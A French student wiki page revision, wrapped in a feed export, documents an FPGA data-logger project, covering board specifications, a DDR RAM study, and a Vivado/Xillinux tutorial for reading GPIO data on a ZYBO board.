				<updated>2016-02-23T19:35:51Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27733</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27733"/>
				<updated>2016-02-23T19:34:27Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Proposition de solutions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir. On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO. Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Adress_map.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent. J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. J'ai   pu   mesurer   la   vitesse d'acquisition   des   données,   celle   ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent   de   récupérer   directement   les données qui sont dans la RAM à partir du linux embarqué.&lt;br /&gt;
&lt;br /&gt;
====Direct Memory Acess====&lt;br /&gt;
Tout d'abord, Xilinx marque une différence entre AXI DMA et AXI VDMA (Video Direct Memory Acess). AXI DMA fait réference à l'accès traditionnel à la mémoire DDR en transférant arbitrairement un flux de données depuis le FPGA vers la mémoire DDR. VDMA ajoute un mécanisme de stockage synchrone par frame en utilisant un ring buffer dans la DDR.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
AXI DMA distingue deux voies : MM2S (Memory-Mapped to Stream) qui transporte les données de la DDR au FPGA et S2MM (Stream to Memory-Mapped) qui transporte arbitrairement le flux de données à la DDR.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DMA.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Utiliser la board Zybo permet de récupérer les données de manière avantageuse. Un simple script python permet d'accéder aux données et de les inscrire dans un fichier. L'avantage de l'architecture AXI DMA sur un ZYNQ 7000 est que l’architecture hybride facilite les choses. Permettant au FPGA de fonctionner avec les avantages de fonctionner en partie avec des lignes de commande. Ici la mémoire DDR va être partagée entre le processeur Cortex et le FPGA.&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
